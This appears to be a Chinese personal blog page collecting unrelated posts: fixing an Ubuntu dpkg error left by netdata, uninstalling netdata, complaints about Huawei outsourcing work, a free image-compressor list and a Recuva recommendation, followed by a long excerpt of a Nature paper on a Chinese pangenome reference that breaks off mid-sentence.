我觉得还是在软考通上考试方便。, ### 解决Ubuntu执行upgrade报错问题(在 stateoverride 文件中发现未知的系统用户 'netdata';该系统用户在重载之前被移除) 1、报错信息(原因) 正在从软件包中解出模板:100% 正在预设定软件包 ... setting xserver-xorg-legacy/xwrapper/allowed_users from configuration file dpkg: 无法恢复的致命错误,中止: 在 stateoverride 文件中发现未知的系统用户 'netdata';该系统用户在重载之前被移除。 这很有可能是一个打包Bug。您可以通过 dpkg-statoverride 手动移除重载来进行恢复 E: Sub-process /usr/bin/dpkg returned an error code (2) 原因是用脚本卸载,系统上有netdata遗留配置,遗留文件,遗留插件(或者程序)没有卸载,再执行upgrade 的时候会出现问题 2、删除netdata相关配置 文件路径/var/lib/dpkg/statoverride geoclue geoclue 755 /var/lib/geoclue root lp 775 /var/log/hp/tmp netdata netdata 755 /var/cache/netdata netdata netdata 755 /var/lib/netdata netdata netdata 755 /var/run/netdata root crontab 2755 /usr/bin/crontab root ssl-cert 710 /etc/ssl/private root netdata 775 /var/lib/netdata/registry root messagebus 4754 /usr/lib/dbus-1.0/dbus-daemon-launch-helper netdata adm 2750 /var/log/netdata root netdata 755 /var/lib/netdata/www redis redis 640 /etc/redis/redis.conf 3、再执行upgrade 然后又报错了。 报错信息 正在设置 netdata-plugin-nfacct (1.42.0-361-nightly) ... chown: 无效的组: "root:netdata" dpkg: 处理软件包 netdata-plugin-nfacct (--configure)时出错: 已安装 netdata-plugin-nfacct 软件包 post-installation 脚本 子进程返回错误状态 1 dpkg: 依赖关系问题使得 netdata 的配置工作不能继续: netdata 依赖于 netdata-plugin-nfacct (= 1.42.0-361-nightly);然而: 软件包 netdata-plugin-nfacct 尚未配置。 4、卸载netdata-plugin-nfacct 执行sudo apt-get purge netdata-plugin-nfacct。对netdata-plugin-nfacct进行卸载 5、然后再删除遗留的netdata文件夹 正在清除 netdata (1.42.0-361-nightly) 的配置文件 ... dpkg: 警告: 卸载 netdata 时,目录 /var/run/netdata 非空,因而不会删除该目录 dpkg: 警告: 卸载 netdata 时,目录 /var/log/netdata 非空,因而不会删除该目录 dpkg: 警告: 卸载 netdata 时,目录 /var/lib/netdata 非空,因而不会删除该目录 dpkg: 警告: 卸载 netdata 时,目录 /var/cache/netdata 非空,因而不会删除该目录 dpkg: 警告: 卸载 netdata 时,目录 /usr/share/netdata 非空,因而不会删除该目录 dpkg: 警告: 卸载 netdata 时,目录 /usr/libexec/netdata 非空,因而不会删除该目录 dpkg: 警告: 卸载 netdata 时,目录 /etc/netdata 非空,因而不会删除该目录 ### 如何卸载Netdata 在netdata的GitHub找到的,百度搜索根本搜不到。 ⭕ 原文: I notice that /etc/cron.daily/netdata-updater was added to the uninstall script in 2019 in #5121 . These servers may have had netdata installed before that change was made; I wonder whether the updater has failed to update the uninstall script to this post-2019 version. I notice that /netdata-updater is not included in the current version of the uninstall script: https://github.com/netdata/netdata/blob/master/packaging/installer/netdata-uninstaller.sh 在Linux上使用wget下载netdata-uninstaller.sh脚本,然后用chmod +x netdata-uninstaller.sh,最后使用执行文件。netdata就可以卸载了。 ❌ 卸载原因是根本用不到,还占用服务器资源。 ### 华为外包换组,重新面试 1、换组面试 这次是什么华为什么智能,感觉跟在海康差不多,是在模拟仿真上测试,经常出差。 下周一华为那边2个人同时面试(面试流程比之前要严格和规范的多),需要独立负责项目,希望是能面试通过。 及时通过后,估计也是不好过。 还好之前有带过团队的经历,加上去年拿到的PMP证书。 也不知道换组的依据是什么。 2、华为可信测试考试 最后今天又做了华为那边的测试可信模拟考试,考了89分,离及格还差9分(98分及格)。 这个月第一次考,那个题目我的妈呀!一次比一次题目多,知识点增加。 华为可信测试几乎是包括: 【软考】软件评测师(知识点相近) 【软考】软件设计师(数据结构) 华为测试可信知识 华为自动化代码规范 自动化用例 根因分析(根本原因、E-C分析) Java(计算机语言其中一种) 项目开发模型 而且还不是那种了解,而是要精通,而且正式考试的时候有可能增加培训没有的知识点。 这怎么可能在1个月,2个月,或者三个月能一次通过的?!保守估计要背几万字的知识点。 而且出题人又不专业,题目出的模糊不清,太变态了! 要是我明年考过了,就成测试开发专家+项目专家了。 3、华为强制加班+每天查玩手机 还有华为的强制加班,说是月平均8.5,实际上要平均12个小时(上班-到家)以上,再加上每天有人查玩手机的(之前是每个星期查玩手机)。 几乎是每天的时间都用在公司上,一到家就睡觉,哪有什么时间给你自己去提升,最后一到35岁就给你失业。 ### 修复大脑,只需6步 🎈-停止观看色情片 🎈-停止自卫 🎈-设定目标 🎈-停止观看软色情内容 🎈-聚焦内在,而非外在 🎈-专注自己,而非女性 ### 免费的压缩图片的软件 截至我所知的2021年9月,有许多免费的图片压缩软件可供使用,这些软件可以帮助您减小图片文件的大小,节省存储空间并更快地在网络上上传或下载图片。以下是一些常见的免费图片压缩软件: TinyPNG:TinyPNG是一个在线工具,可以压缩PNG格式的图片。它可以减小图片的文件大小而不影响其质量。您可以在其网站上上传图片,然后下载压缩后的版本。网站链接:https://tinypng.com/ TinyJPG:与TinyPNG类似,TinyJPG专门用于压缩JPEG格式的图片。同样,它也可以在不明显损失质量的情况下减小文件大小。网站链接:https://tinyjpg.com/ ImageOptim:ImageOptim是一个针对MacOS系统的桌面应用程序,可以压缩JPEG、PNG和GIF等图片格式。它提供简单易用的界面,并能自动优化图片以减小文件大小。网站链接:https://imageoptim.com/mac FileOptimizer:FileOptimizer是一个跨平台的工具,支持多种文件类型的压缩,包括图片。它可以批量处理图片,让您更轻松地压缩多个图片文件。网站链接:https://nikkhokkho.sourceforge.io/static.php?page=FileOptimizer Compressor.io:Compressor.io是一个在线图片压缩工具,支持JPEG、PNG、GIF和SVG格式。它提供了简单易用的界面,并可以在不损失可接受质量的情况下大幅减小文件大小。网站链接:https://compressor.io/ 请注意,软件的功能可能随时间而变化,建议您在使用之前先进行一些调查,以确保它符合您的需求,并且在使用任何在线服务时要注意您的隐私和数据安全。 ### 免费恢复U盘删除的文件-Recuva 刚把相机SD卡插上电脑,不小心按了键盘,等我一抬头已经正在删除。悲剧了。 然后在百度上搜索怎么恢复删除的数据,排在前面的都是国内的删除软件,下载了1个,果然是要收费的。 后面就问了ChatGpt,怎么恢复删除数据,用了几个命令行发现没有,就问了有没有免费的软件,还真的有。百度搜索后,费了好大劲,终于找到了真官网,下载后,直接能用,恢复速度很快。 国内的搜索和软件真的是一群垃圾堆。 这个免费的软件是Recuva,下载免费版就行。 下载地址: 恢复后的文件 ### A pangenome reference of 36 Chinese populations.pdf 1687088870-A-pangenome-reference-of-36-Chinese-populations下载 ### 中国36个群体的pangenome参考 《A pangenome reference of 36 Chinese populations》1 Authors Yang Gao, Xiaofei Yang, Hao Chen, Xinjiang Tan, Zhaoqing Yang, Lian Deng, Baonan Wang, Shuang Kong, Songyang Li, Yuhang Cui, Chang Lei, Yimin Wang, Yuwen Pan, Sen Ma, Hao Sun, Xiaohan Zhao, Yingbing Shi, Ziyi Yang, Dongdong Wu, Shaoyuan Wu, Xingming Zhao, Binyin Shi, Li Jin, Zhibin Hu, Chinese Pangenome Consortium (CPC), Yan Lu, Jiayou Chu, Kai Ye & Shuhua Xu Nature (2023)Cite this article 7989 Accesses | 77 Altmetric | Metrics Abstract Human genomics is witnessing an ongoing paradigm shift from a single reference sequence to a pangenome form, but populations of Asian ancestry are underrepresented. Here we present data from the first phase of the Chinese Pangenome Consortium, including a collection of 116 high-quality and haplotype-phased de novo assemblies based on 58 core samples representing 36 minority Chinese ethnic groups. With an average 30.65× high-fidelity long-read sequence coverage, an average contiguity N50 of more than 35.63 megabases and an average total size of 3.01 gigabases, the CPC core assemblies add 189 million base pairs of euchromatic polymorphic sequences and 1,367 protein-coding gene duplications to GRCh38. We identified 15.9 million small variants and 78,072 structural variants, of which 5.9 million small variants and 34,223 structural variants were not reported in a recently released pangenome reference1. The Chinese Pangenome Consortium data demonstrate a remarkable increase in the discovery of novel and missing sequences when individuals are included from underrepresented minority ethnic groups. The missing reference sequences were enriched with archaic-derived alleles and genes that confer essential functions related to keratinization, response to ultraviolet radiation, DNA repair, immunological responses and lifespan, implying great potential for shedding new light on human evolution and recovering missing heritability in complex disease mapping. Main Over the past two decades, the reference human genome sequence has served as the foundation for genetic and biomedical research and applications; however, there is a broad consensus that no single reference sequence can represent the genomic diversity of global populations. On one hand, high-quality population-specific and haplotype-resolved genome references are necessary for genetic and medical analysis2. On the other hand, there is a clear need to shift from a single reference to a pangenome form that better represents genomic diversity, or allelic variation, within and across human populations3. With the advancement of long-read sequencing technologies as well as computational methods, it is now feasible to enable pan-genomic construction to capture the missed variations from a large collection of diverse genomes4. The Human Pangenome Reference Consortium (HPRC) recently constructed a draft human pangenome reference based on 47 samples of worldwide populations, but with East Asian population samples underrepresented (n = 4)1. In particular, only three Southern Han Chinese (CHS) samples were included in the HPRC reference, too few to represent the genomic diversity of ethnic groups in a region such as China, which is populated by 1.44 billion people. We showed previously that the genetic diversity in Asia was not well covered by large-scale international collaborative projects such as the 1000 Genomes Project5,6. Although the need to improve the representation of diverse ancestral backgrounds in genomic research is well known7,8, substantially fewer genomic studies have been conducted in populations of Asian ancestry compared with populations of European ancestry. China harbours a great genetic diversity, with 55 officially recognized minority ethnic groups in addition to the Han Chinese majority and a considerable number of unrecognized ethnic groups. Despite advances in sequencing technologies leading to the achievement of the telomere-to-telomere haploid assembly T2T-CHM13 (ref. 9), only a limited number of Chinese genomes have been de novo assembled to high-quality haplotype sequences using long-read DNA sequencing technologies2,10,11,12,13,14. The only two published studies on the Chinese pangenome were limited to the short-read sequencing data of Han Chinese samples15,16. There is an urgent need to establish a high-quality pangenome reference that better represents the great genomic diversity of Chinese populations. We anticipate such an effort to broaden the reference to represent genomic diversity, resolve allelic and locus heterogeneity, support unbiased and comprehensive detection of structural variation within and across populations, and improve genotyping accuracy in genomic regions enriched with complex sequence variations, such as human leukocyte antigen genes, and ultimately facilitate genomic analysis for both evolutionary and medical research. The Chinese Pangenome Consortium (CPC) aims to de novo sequence at least 500 individuals to better detect and catalogue sequence variants of the Chinese populations using third-generation sequencing technologies. Here we present the draft Chinese pangenome reference based on the first sequencing effort (Phase I) of the CPC, reporting 116 high-quality de novo assemblies from 58 core samples representing 36 minority Chinese ethnic groups and 6 assemblies of the Han Chinese majority. Assembly of diverse Chinese genomes The full set of CPC Phase I assemblies includes 68 samples sequenced to an average depth of 28.82× (14.29–60.67×) of PacBio high-fidelity (HiFi) long reads (Methods), 9 samples sequenced with linked reads, and 11 samples sequenced with Oxford Nanopore Technologies long reads and Hi-C Illumina short reads (Supplementary Table 1). After quality control (see below and Methods), we assembled 58 phased diploid assemblies with an average depth of 30.65× (21.43–60.67×) from CPC core samples representing 36 Chinese minority ethnic groups and 8 linguistic groups (Fig. 1a and Supplementary Fig. 1). We further incorporated five samples of high-coverage Oxford Nanopore Technologies long-read sequencing, five published assemblies of four Chinese populations2,10,11,12 and two Han Chinese samples from Central China with Oxford Nanopore Technologies long-read sequencing (Fig. 1a, Supplementary Fig. 1 and Supplementary Table 1). The CPC core samples showed substantial genetic diversity and covered most of the Chinese ethnic minority groups (Fig. 1a and Supplementary Fig. 2). Fig. 1: CPC panel with diploid assemblies of 58 core samples. We developed an analysis pipeline to carry out genome assembly, quality control and assembly polishing of the newly sequenced PacBio HiFi samples (Methods and Extended Data Fig. 1a). We conducted both the primary assembly and diploid assembly of 68 PacBio HiFi samples using Hifiasm software and assessed the quality of each assembly (Methods). We removed three samples from the primary assemblies and seven samples from the diploid assemblies with relatively low quality (Extended Data Fig. 1b,c). Eventually, 58 samples or 116 high-quality assemblies were retained for further analysis (Supplementary Table 2). We further carried out assembly correction of the 116 haploid assemblies of the 58 samples, and the comparison of assembly quality before and after polishing showed that our assembly correction improved the data quality (Supplementary Fig. 3). We assessed the 116 assemblies with an average total genome length of 3.01 gigabases (Gb), ranging from 2.88 Gb to 3.12 Gb owing to the size difference between the sex chromosomes, and 93.1% of assemblies showed a larger genome length than the ungapped GRCh38 (2.94 Gb; Fig. 1b and Supplementary Table 2). The 116 assemblies contained an average of 690.5 contigs and ranged from 294 to 1,568 (Supplementary Table 2). The median contig length of genomic assembly (that is, contig N50) ranged from 11.66 Mb to 87.3 Mb across our 116 assemblies with an average of 35.63 Mb, and 8.62% of assemblies had contig N50 values greater than those of GRCh38 (57.88 Mb; Fig. 1b and Supplementary Table 2). We showed that more than 99.67% of circular consensus sequencing reads were remapped to the contigs in each assembly, and the average quality value of the 116 assemblies was 52.84, varying between 47.33 and 59.45 (Fig. 1c). On average, about 24.34 Mb (about 17.9–43.01 Mb) of contigs were not aligned to the T2T-CHM13 reference, and on average, about 69 Mb (about 53.32–89.05 Mb) of contigs were not aligned to the GRCh38 reference, indicating that the genome of the CPC samples was not fully covered by either of the two reference genomes (Fig. 1d). Our assembly covered 96.54% (92.55–98.03%) of the GRCh38 reference and 93.59% (89.66–95.77%) of the T2T-CHM13 reference (Fig. 1d), showing that some of the genomic regions of our assemblies were systematically unassembled or could not be reliably aligned, probably owing to highly repetitive regions. Furthermore, we annotated the unmapped regions of the contigs, and found that about 84% (about 39.7–75.1 Mb; 58.1 Mb on average) of the unmapped sequences were satellite repeats (Supplementary Table 3). We next applied Inspector to reveal that there was an average of 3,627 small-scale assembly errors (1,889–6,848) in each assembly, including 327 expansions (143–610), 454 collapses (154–898) and 2,846 substitutions (1,287–5,663), which decreased after assembly polishing (Fig. 1e and Supplementary Fig. 3). There was an average of 38 large-scale assembly errors (11–78) in each assembly (Supplementary Fig. 4). However, we found an interesting case in which the evaluation software is unable to determine the correct assembly when sequencing and assembly errors coexist (Supplementary Fig. 5), indicating the limitations of current evaluation tools when dealing with challenging situations. We finally assessed the duplication ratios relative to the GRCh38 and T2T-CHM13 references, respectively, which were approximately at the same level among the 116 assemblies of the 58 samples (Fig. 1f). Genomic features of the CPC assemblies To investigate the genomic composition of our 58 CPC samples, we aligned the 116 assemblies to T2T-CHM13 and called the variants of each sample using Phased Assembly Variant caller17 (Methods). We observed an average of 11.22% (9.35–13.05%) small variants and 24.16% (19.72–29.3%) structural variants (SVs) per CPC sample were in the highly repetitive regions (Extended Data Fig. 2), and more than half of the SVs were singletons except for those on the Y chromosome (Supplementary Fig. 6). We further identified an average of 2,802 (2,265–3,187) novel sequences for each CPC sample by collecting insertions larger than 1 kb compared to the T2T-CHM13 reference (Methods and Extended Data Fig. 3a). These novel sequences were located at 63,243 regions across the genome, and they were particularly enriched in the highly repetitive sequences such as the centromeric and telomeric regions (Extended Data Fig. 3b). We determined 115 genomic regions as insertion hotspots based on the insertion frequency, covering a total length of 204.8 Mb. Considering that reference bias typically hinders the identification of novel SVs in both short- and long-read datasets, we further completed the analysis of complex structural variations (CSVs) using our CPC high-quality and phased haplotype sequences. On average, we identified 70 CSVs per sample with the newly developed method SVision18 (Supplementary Fig. 7). The most common CSV type was INS+tDUP with an average number of 44 (Supplementary Fig. 8). We merged the CSVs into a set of 706 non-redundant CSVs (Extended Data Fig. 4a) and classified them into four classes19: shared (all samples), major (≥50% of samples), polymorphic (<50% of samples) and singleton (only one sample). We found that the peak of the CSV length distribution was at 10 kb (Extended Data Fig. 4b). We found one shared CSV (chr11:66,245,313–66,246,097 with an INS+INV type), 34 major CSVs, 277 polymorphic CSVs and 394 singleton CSVs from the CPC assembly set (Extended Data Fig. 4c). We next annotated the copy number variations (CNVs) relative to the GRCh38 reference in each assembly (Methods). There were 1,367 protein-coding genes in the full set of assemblies that had a gain in copy number in at least one genome. An average of 53 (27–100) genes with a gain in copy number were observed in each assembly (Fig. 2a), 13.39% of CNV genes showed a frequency of more than 5% in the whole CPC assembly set, and 57.86% of CNV genes were found in only a single haplotype. We found there were 1,079 duplicated genes in the CPC assembly set that were not observed in HPRC assemblies (Fig. 2b and Supplementary Table 4). These genes were enriched significantly in olfactory-related functions (for example, GO:0007608, sensory perception of smell, odds ratio (OR) = 6.46, Benjamini–Hochberg (BH)-adjusted P = 2.22 × 10−36; and hsa04740, olfactory transduction, OR = 7.14, BH-adjusted P = 8.35 × 10−38), and at a marginal significance level in skin-related disease (for example, DOID:37, skin disease, OR = 2.33, BH-adjusted P = 0.086; and DOID:16, integumentary system disease, OR = 2.23, BH-adjusted P = 0.086; Supplementary Table 5). We found that 562 (52.1%) of the novel duplicated genes in the CPC assembly set were trait-associated according to the genome-wide association study (GWAS) catalogue, and 207 (19.2%) of these genes were related to at least one human disease annotated by the Disease Ontology, suggesting the remarkable potential for the CPC assembly set to contribute to disease and phenotype association studies. In particular, KCNJ18 and MTRNR2L6 showed considerably high frequency in the CPC assemblies (115 of 116) but were absent in the HPRC assemblies (Fig. 2c). KCNJ18 encodes a member of the inwardly rectifying potassium channel family (Kir2.6), which is expressed in skeletal muscle and is transcriptionally regulated by thyroid hormone20. Kir2.6 alterations were reported to be associated with thyrotoxic periodic paralysis, which is a well-known complication of thyrotoxicosis in Asian populations, but is rare in European populations21,22,23. The pseudogene MTRNR2L6 is predicted to be involved in the regulation of apoptosis (GO:1900118). Notably, this gene was reported to show signatures of positive selection across geographical Han Chinese populations24. A number of the CPC-specific CNV genes showed signatures of natural selection indicated by the estimates of Tajima’s D (Supplementary Fig. 9 and Supplementary Table 4). Outstanding examples include SPATA31D4 (nhaplotype = 6, Tajima’s D = −3.01, false-discovery rate (FDR)-adjusted P = 2.38 × 10−5) and PSAPL1 (nhaplotype =  7, Tajima’s D = 4.32, FDR-adjusted P = 0.006). In particular, SPATA31D4 belongs to the core duplicon families that are thought to have contributed significantly to hominoid evolution with a strong signal of positive selection in hominoids. Previous studies suggested that the gene family has a function in response to ultraviolet radiation and DNA repair, and may also influence human lifespan25. Fig. 2: CNVs identified from CPC assemblies. There were 288 duplicated genes from the CPC assemblies that were also observed in the HPRC assemblies, of which 123 genes were shared with 4 HPRC East Asian samples (HPRC.EAS), and 278 genes were shared with the remaining 40 non-East Asian HPRC (HPRC.nEAS) samples (Fig. 2b). Among these overlapped genes, we found several genes with a higher frequency (≥5%) in the CPC assembly set than in the HPRC assemblies (Fig. 2d and Supplementary Table 6). For example, the CNV frequency at CYP2D6 was higher in the CPC assembly set than those in the collective HPRC assemblies and in the separate sets of HPRC.EAS or HPRC.nEAS (Fig. 2d and Extended Data Fig. 5). CYP2D6 is well known for its remarkable polymorphism, which has been systematically surveyed in a wide variety of human populations26. We also found CFC1 with highly differentiated CNVs between the CPC and HPRC assemblies (frequency difference = 0.124). Several investigations reported associations between CFC1 and cardiovascular disease27, especially in Chinese populations28. In addition, CTAG1A and ZNF658 were identified with rare CNVs (around 1%) in the HPRC assembly but presented with common CNVs (≥5% and <95%) in the CPC assembly. CTAG1A is expressed at high levels in the normal ovary and testis. ZNF658 regulates the transcription of genes involved in zinc homoeostasis and affects ribosome biogenesis29, and is involved in infectious processes (hsa05168, herpes simplex virus 1 infection). The variation graph of the CPC pangenome In a typical pangenome reference, genomic data from a population can be organized into an edge-based sequence variation graph. We applied the Minigraph-Cactus pipeline to construct the variation graph for the CPC pangenome, in which the haplotypic assemblies can be represented as different paths composed of sequence nodes (Fig. 3a). Using Minigraph, 122 haplotypic assemblies from 61 samples were added to the graph starting with the reference assemblies T2T-CHM13 and GRCh38. To extend the pangenome to the single nucleotide polymorphism level, assemblies were remapped afterwards to the graph using the Cactus genome aligner. We used dna-brnn to identify and mask the centromeric satellites of the input assemblies, and then clipped all paths longer than 100 kb that were not aligned to the underlying graph to avoid the effects of complicated regions on alignment. Finally, we constructed the Minigraph-Cactus graph, which had a length of 3,284,609,818 bp (measured as the sum of all nodes). Additionally, we measured the length of the sequences that were added to the pangenome graph from each of the 61 diploid genomes. A total of 194.67 Mb of non-reference sequences were added to the graph, of which 62.90 Mb were singletons. In addition, we discovered that 4.96 Mb of non-reference sequences presented in ≥95% of all haplotypes, representing the core genome in our sample populations, and 72.24 Mb of non-reference sequences in ≥5% and <95% of the haplotypes, representing the common genome (Fig. 3b). Fig. 3: CPC pangenome graph and CPC-specific variants compared to the HPRC assemblies. As the underlying 122 haplotypic assemblies were encoded as the paths in the graph, we characterized the variants as well as the haplotypes of assemblies by graph decomposition (Methods). We further examined whether the longest allele presented at each site, and we identified 15,916,404 small-variant sites (<50 bp) and 78,072 SV sites (≥50 bp) from the graph. Each sample contained 4,397,706 (s.d. = 35,776) small variants, and each haplotype contained 14,557 (s.d. = 224) SVs (Supplementary Fig. 10). The number of SVs obtained from each sample based on HiFi data was far more than that based on next-generation sequencing (NGS) data (Supplementary Table 7). The average length of SVs was 3.2 kb in the CPC graph genome, and the median length was 178 bp, which was longer than the short reads in the NGS data. In addition, we observed a peak at about 300 bp for Alu, and at about 6 kb for LINE-1 (Extended Data Fig. 6), indicating the reliability of our CPC pangenome. The CPC core samples greatly covered the genetic diversity of China’s multi-ethnic population and showed more diverse genetic ancestry than the Han Chinese samples (Extended Data Fig. 7). To evaluate the contribution of multi-ethnic populations in the CPC pangenome, we compared the cumulative length of the non-reference sequence by using Han Chinese samples alone as well as using multi-ethnic populations. When the first haplotype was added, the length of the non-reference sequence generated by the Han Chinese samples and that of the other populations were roughly the same (Extended Data Fig. 8). The average non-reference sequence length was 49.71 Mb for the Han Chinese and 49.16 Mb for other populations. However, we obtained remarkably different results with the addition of haplotypes. In particular, the cumulative length grew much faster for the non-reference sequences detected in multi-ethnic populations than those detected in a single population, such as the Han Chinese (Extended Data Fig. 8). Short-read mapping with the CPC reference To evaluate the performance of the Giraffe mapper to process graph genomes with different complexities, we applied gradient filtering on the CPC reference according to the path depth of nodes (Methods). When a more stringent filter was applied, we observed a decrease in the number of nodes and edges in the graph reference (Supplementary Fig. 11a), the graph complexity (Supplementary Fig. 11b) and the diversity (Supplementary Fig. 11c). Next, ten samples from the East Asian population of the 1000 Genomes Project were aligned to these CPC references with different complexities through vg Giraffe. The results showed that the mapping rate increased and reached a peak value with a simplified version of the graph (Supplementary Fig. 12a), probably owing to the limitation of the current version of the Giraffe mapper in managing the locally complex regions. We also observed that the proportion of reads with perfect matching continued to decline with the simplification of the graph (Supplementary Fig. 12b), reflecting the decline in the diversity of the graph (Supplementary Fig. 13). Therefore, there was a trade-off between mapping rate and mapping quality, and a compromise is needed to determine the size of the graph reference. Compared with the HPRC graph reference, the CPC graph reference had fewer nodes, edges and diversity, probably owing to only Chinese samples being included, compared with HPRC covering both African and European samples (Supplementary Table 8). However, using the CPC graph reference achieved better alignments than using the HPRC graph reference when aligning the East Asian genomes (Supplementary Fig. 14). By contrast, the HPRC graph performed better in processing African samples (Supplementary Fig. 14). These results indicate that using population-specific graph references improved the alignment quality of short reads. To carry out variant calling, we mapped the GAM file in the graph reference coordinate to the BAM file in the linear reference coordinate. The results showed that the mapping rate of all samples decreased by an average of 0.58% (0.54–0.61%). We speculated that the advantages of the graph reference would be lost when using the traditional linear reference to carry out calling or record variation because the novel sequences in the graph reference were missing in the linear coordinate. Comparison with the HPRC pangenome graph To investigate the previously unidentified components contributed by the East Asian populations in the CPC pangenome graph, we constructed a merged Minigraph-Cactus graph including all 116 assemblies in CPC and 94 assemblies in HPRC1 (Methods). We identified 5,850,863 (18.4%) small variants and 34,223 (17.1%) SVs that were found only in the CPC assemblies (Fig. 3c), of which each sample included 170,307 (s.d. = 10,904) small variants and each haplotype carried 543 (s.d. = 39) SVs, and more than half of the CPC-specific variants were singletons or doubletons (Fig. 3d). In both ‘easy’ and ‘difficult’ regions of the GRCh38 reference defined in GIAB 3.0 (ref. 30), approximately 39% of the CPC-specific small variants could not be annotated in gnomAD v0.1.8 (ref. 31; Supplementary Table 9), suggesting that the East Asian-specific small variants identified with the long-reads-based methods remain a potent supplement to the current short-read-based genetic resources. We found that 16,898 (49.4%) of the CPC-specific SVs overlapped the nearby regions (100 kb upstream and downstream of the gene coding regions) of 6,426 protein-coding genes, in which 4,344 genes were disrupted by SVs spanning more than 1 kb and had the most frequent functional enrichments related to immunological functions, such as humoral immune response (GO:0002455, OR = 5.11, BH-adjusted P = 8.50 × 10−14; and GO:0006959, OR = 2.91, BH-adjusted P = 1.64 × 10−11; Supplementary Table 10). These CPC-specific SVs also showed an overrepresentation of the laryngitis-related genes according to the disease ontology annotation (DOID:3437 and DOID:786, OR = 16.66, BH-adjusted P = 0.007). Furthermore, we estimated the location distribution of CPC-specific SVs using a sliding-window-based analysis along the autosomes (Methods). Similar to HPRC-specific SVs and common SVs, most of the CPC-specific SVs were located at the centromeric and telomeric regions of chromosomes (Fig. 3e and Supplementary Fig. 15). We next applied a one-tailed Fisher’s exact test between the number of CPC-specific SVs and SVs that were also found in HPRC assemblies in different regions, and found 223 hotspots where CPC-specific SVs were significantly enriched compared with other SVs (FDR-adjusted P < 0.05), involving 807 protein-coding genes (Fig. 3e) overrepresenting biological functions such as oxygen transport (GO:0015671, OR = 22.66, BH-adjusted P = 0.008; and GO:0005344, OR = 24.91, BH-adjusted P = 0.001) and haemoglobin structure (GO:0031838, OR = 28.58, BH-adjusted P = 0.003; GO:0005833, OR = 24.21, BH-adjusted P = 0.003; and GO:0031720, OR = 33.15, BH-adjusted P = 0.002; Supplementary Table 11). Long-read sequencing technologies and pangenome graph-based analysis methods allow us to explore large and complex SVs that were previously difficult to locate in NGS data, thus providing the genetic basis for association studies of these complex loci with physiological function or disease. We found that some of the CPC-specific enriched SVs mentioned above were closely related to the prevalent diseases in East Asia. A remarkable example is the α-globin gene cluster located near the telomere of the short arm of chromosome 16, including five functional genes and two pseudogenes32, 5′-zeta–pseudozeta–mu–pseudoalpha-1–alpha-2–alpha-1–theta-3′ (Fig. 4a). We identified six major haplotypes based on the copy number variations of α-globin genes (HBA1 or HBA2) and ζ-globin (HBZ or pseudogene HBZP1; Fig. 4b) genes from the pangenome graph (Supplementary Table 12). In addition to a deletion (Z2A1) and duplication (Z2A3) involving a copy number change of α-globin found in both CPC and HPRC, we also identified two CPC-specific large SVs: a 20-kb deletion (Z2A0) involving five globin genes and a 10-kb duplication (Z3A2 and Z3A3) involving ζ-globin genes (Fig. 4c). The long deletion in which both α-globins are lost has been widely reported as the Southeast Asian deletion (--SEA, A0 in our haplotype)33, and is mainly distributed in southern China and Southeast Asia. As previously reported34, the heterozygote SEA deletion (A2/A0) as well as the loss of one copy of the α-globin gene (A2/A1) is phenotypically silent. The homozygous loss of one α-globin gene (A1/A1) leads to mild anaemia; losing three copies (A1/A0) leads to haemoglobin H disease, and homozygous SEA deletion leads to severe hydrops fetalis. The precise localization of the complex SVs on the α-globin gene cluster in the CPC pangenome graph could provide a potential reference for future anaemia-related studies. Another example is the RASA4 gene located on chromosome 7 (Fig. 4d). As compared to the two copies of the reference genome, a high diversity of copy numbers in East Asian populations (Supplementary Table 13), including a six-copy variant that is not found in HPRC samples, was discovered (Fig. 4e). CNVs of this gene have not yet been described. The aberrant expression of RAS p21 protein activator 4, encoded by RASA4, has been widely reported to be closely associated with the development of a variety of human cancers35, and we observed differences in the dosage frequency distribution among populations (Supplementary Tables 14 and 15), which may contribute to the variation of disease incidence. Fig. 4: Visualization of novel and complex SVs in the CPC pangenome graph. We next investigated to what extent the novel SVs identified in the CPC assemblies may increase our insights into disease genetics. On the basis of the 243,465 phenotype-associated variants collected from the latest release of the GWAS catalogue, in which 62,393 variants were reported or replicated in the East Asian populations, we found that 75.95% of the novel SVs >1 kb in size (spanning 83.17% of the total novel sequence length) were located <50 kb from the GWAS loci, and in particular, 55.49% (spanning 72.95% of the total novel sequence length) were around the variants associated with East Asian phenotypes. We observed that, when comparing reported variants across traits, height-associated variants were more likely to be associated with larger proportions of essentially independent novel loci (50.7% and 47.7% for the height-associated variants reported in global and East Asian populations, respectively) than other traits, possibly owing to the remarkable polygenicity of height (Extended Data Fig. 9 and Supplementary Table 16). Moreover, these novel SVs were significantly enriched at disease-associated variants identified in East Asians, including urolithiasis, nephrolithiasis and goitre (BH-adjusted P value = 0.043 for each), which are highly prevalent in some Asian areas36 (Extended Data Fig. 9). Despite the fact that all of the novel SVs detected in the CPC assemblies collectively showed a similar level of nucleotide diversity measured by Tajima’s D to the rest of the genome, the CPC-specific novel SVs absent in the HPRC assemblies exhibited a significantly higher Tajima’s D than the latter (P = 4.65 × 10−9, one-tailed Wilcoxon rank-sum test; Supplementary Fig. 16a). The most outstanding signals encompassed two protein-coding genes, STARD7 and ITPRIPL1, in chromosome 2 (Tajima’s D = −3.06, FDR-adjusted P = 7.54 × 10−12; Supplementary Fig. 16b). Again, we highlight the SPATA31 genes as they could confer evolutionary significance in hominoids not only with the copy number variables (Supplementary Fig. 9) but also with the underrepresented sequence variants (Tajima’s D = −3.01, FDR-adjusted P = 2.38 × 10−5). All of these results imply a great potential for the novel SVs in the CPC assemblies to provide new insights into the human adaptive evolution in East Asia. Archaic introgression and annotation We applied ArchaicSeeker 2.0 (refs. 37,38) and identified 5,338 archaic introgression segments (AISs) in all 61 CPC samples, spanning 703.87 Mb in total, and on average 84.67 Mb per sample. Of these AISs, 2,450 were located in the coding sequence of 5,531 genes (Supplementary Table 17). We found that 4,126 genes were detected with AISs in at least two samples. In particular, 2,617 genes were detected with AISs in at least five samples, and were substantially enriched in functional categories such as keratinization (GO:0031424, OR = 4.19, BH-adjusted P = 1.23 × 10−5), type I interferon receptor binding (GO:0005132, OR = 130.05, BH-adjusted P = 7.62 × 10−12), positive regulation of peptidyl-serine phosphorylation of STAT protein (GO:0033141, OR = 48.22, BH-adjusted P = 1.23 × 10−10), RIG-I-like receptor signalling pathway (hsa04622, OR = 4.04, BH-adjusted P = 2.44 × 10−4) and neuronal cell body (GO:0043025, OR = 1.75, BH-adjusted P = 5.96 × 10−3; Supplementary Fig. 17 and Supplementary Table 18). We obtained similar results when analysing all AIS-affected genes and those detected with higher-frequency AISs (1,510 genes with AISs carried by at least 10 samples; Supplementary Tables 19 and 20 and Supplementary Figs. 18 and 19). The extremely high-frequency 